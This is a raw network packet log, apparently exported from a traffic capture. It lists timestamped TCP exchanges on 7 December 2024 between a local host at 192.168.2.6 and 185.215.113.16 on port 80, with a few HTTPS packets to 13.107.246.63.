Dec 7, 2024 22:40:54.370368004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.370419979 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.370531082 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.370580912 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.371422052 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.371471882 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.371546030 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.371592045 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.372416973 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.372466087 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.372522116 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.372569084 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.373467922 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.373517036 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.373568058 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.373614073 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.374445915 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.374492884 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.374562025 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.374609947 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.375463963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.375514030 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.375574112 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.375621080 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.376558065 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.376609087 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.376633883 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.376672983 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.377558947 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.377609015 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.377634048 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.377680063 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.378537893 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.378585100 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.378645897 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.378694057 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.379553080 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.379604101 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.379641056 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.379689932 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.380633116 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.380681992 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.380795002 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.380841017 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.381603956 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.381653070 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.381689072 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.381732941 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.382638931 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.382688046 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.382718086 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.382766008 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.383640051 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.383687973 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.383703947 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.383747101 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.384659052 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.384710073 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.384743929 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.384793997 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.385683060 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.385729074 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.385829926 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.385874987 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.386702061 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.386749983 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.386780977 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.386826038 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.387721062 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.387770891 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.387821913 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.387862921 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.388693094 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.388741970 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.388806105 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.388851881 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.389754057 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.389806986 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.389848948 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.389893055 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.390748024 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.390798092 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.390872955 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.390919924 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.391807079 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.391855955 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.391969919 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.392019033 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.392827988 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.392878056 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.392894030 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.392937899 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.393827915 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.393877029 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.393955946 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.394001961 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.394853115 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.394901991 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.394943953 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.394989967 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.395801067 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.395850897 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.534835100 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.534921885 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.534960032 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.535011053 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.535536051 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.535588026 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.535645008 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.535690069 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.536309004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.536361933 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.536400080 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.536448002 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.537341118 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.537388086 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.537424088 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.537470102 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.538347006 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.538419008 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.538485050 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.538539886 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.539489985 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.539540052 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.539621115 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.539665937 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.540397882 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.540446997 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.540486097 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.540529013 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.541368961 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.541415930 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.541472912 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.541518927 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.542423964 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.542474031 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.542599916 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.542668104 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.543436050 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.543493032 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.543606997 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.543653965 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.544403076 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.544454098 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.544536114 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.544584036 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.545479059 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.545527935 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.545557976 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.545675993 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.546456099 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.546516895 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.546592951 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.546724081 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.547472000 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.547516108 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.547611952 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.548420906 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.548530102 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.548578978 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.548629999 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.548675060 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.549505949 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.549560070 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.549628973 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.549680948 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.550545931 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.550595999 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.550652027 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.550695896 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.551542997 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.551609039 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.551649094 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.551692963 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.552613020 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.552661896 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.552696943 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.552736998 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.553606033 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.553653002 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.553706884 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.553755045 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.554627895 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.554680109 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.554759979 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.554811001 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.555691004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.555741072 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.555744886 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.555788994 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.556674957 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.556723118 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.556752920 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.556796074 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.557697058 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.557745934 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.557777882 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.557820082 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.558701038 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.558784008 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.558819056 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.558870077 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.559740067 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.559792042 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.559843063 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.559891939 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.560719967 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.560771942 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.560832977 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.560882092 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.561775923 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.561829090 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.561913013 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.561964989 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.562803984 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.562855959 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.562992096 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.563054085 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.563783884 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.563832998 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.563874006 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.563916922 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.564920902 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.564970016 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.564999104 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.565046072 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.565834045 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.565885067 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.565973997 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.566024065 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.566834927 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.566885948 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.566920042 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.566971064 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.567851067 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.567900896 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.567967892 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.568022966 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.568881989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.568931103 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.568995953 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.569042921 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.569902897 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.569955111 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.570096970 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.570142984 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.570915937 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.570967913 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.571000099 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.571044922 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.571937084 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.571984053 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.572057962 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.572104931 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.572968960 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.573018074 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.573055029 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.573101997 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.573986053 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.574035883 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.574116945 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.574167013 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.575128078 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.575177908 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.575339079 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.575388908 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.576031923 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.576082945 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.576114893 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.576158047 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.577009916 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.577135086 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.577176094 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.578114033 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.578166962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.578205109 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.578252077 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.579080105 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.579129934 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.579183102 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.579229116 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.580099106 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.580148935 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.580203056 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.580252886 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.581137896 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.581187010 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.581223011 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.581269026 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.582144976 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.582194090 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.582238913 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.582283020 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.583343029 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.583393097 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.583420038 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.583461046 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.584156036 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.584208012 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.584284067 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.584331989 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.585239887 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.585293055 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.585395098 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.585443974 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.586467028 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.586512089 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.586519003 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.586550951 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.587209940 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.587259054 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.587341070 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.587387085 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.588236094 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.588288069 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.641226053 CET	443	49832	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:54.641797066 CET	49832	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:54.641820908 CET	443	49832	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:54.642251015 CET	49832	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:54.642262936 CET	443	49832	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:54.726861000 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.726973057 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.727102041 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.727154970 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.727232933 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.727278948 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.727405071 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.727461100 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.727499008 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.727540970 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.728487015 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.728540897 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.728595018 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.728646040 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.729491949 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.729549885 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.729554892 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.729597092 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.730493069 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.730544090 CET	49827	80	192.168.2.6	185.215.113.16
